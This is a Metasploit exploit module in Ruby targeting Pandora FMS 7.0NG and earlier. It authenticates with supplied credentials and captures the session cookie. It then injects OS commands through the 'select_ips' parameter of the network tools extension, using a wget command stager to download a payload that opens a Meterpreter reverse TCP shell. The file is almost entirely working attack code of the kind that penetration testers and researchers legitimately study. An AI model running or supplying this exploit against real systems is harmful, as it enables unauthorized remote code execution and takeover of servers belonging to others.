##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
          net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
        },
        'Author' => [
          'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module
        ],
        'DisclosureDate' => '2020-03-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'DefaultOptions' => {
          'Payload' => 'linux/x86/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
        OptString.new('USERNAME', [true, 'The username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'index.php')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body =~ /Pandora/i
      return CheckCode::Safe
    end

    pandora_version = res.body.scan(%r{<div id="ver_num">v(.*?)</div>}).flatten.first
    version = Rex::Version.new(pandora_version)

    print_status("Pandora FMS version #{version}") if version

    if Rex::Version.new(version) <= Rex::Version.new('7.0NG')
      return Exploit::CheckCode::Appears
    end

    CheckCode::Detected
  end

  def authenticate
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'index.php'),
      'vars_get' => {
        'login' => '1'
      },
      'vars_post' => {
        'nick' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD'],
        'login_button' => 'Login'
      }
    })

    return auth_succeeded?(res)
  end

  def auth_succeeded?(res)
    unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
      print_error('Authentication failed!')
      return false
    end
    print_good('Successfully authenticated')
    print_status('Attempting to retrieve session cookie')
    @cookie = res.get_cookies
    unless @cookie.include?('PHPSESSID')
      print_error('Error retrieving cookie!')
      return false
    end
    print_good("Successfully retrieved session cookie: #{@cookie}")
    true
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager(flavor: :wget, nospace: true)
  end

  def execute_command(cmd, _opts = {})
    print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
    auth = authenticate
    unless auth
      fail_with Failure::NoAccess, 'Please provide a valid username and password.'
    end

    id_agente = 1
    while !session_created? && id_agente <= 10
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'cookie' => @cookie,
        'vars_get' => {
          'sec' => 'estado',
          'sec2' => 'operation/agentes/ver_agente',
          'tab' => 'extension',
          'id_agente' => id_agente.to_s,
          'id_extension' => 'network_tools'
        },
        'vars_post' => {
          'operation' => '2',
          'select_ips' => ";#{cmd}",
          'community' => 'public',
          'submit' => 'Execute'
        }
      })

      id_agente += 1
    end
  end
end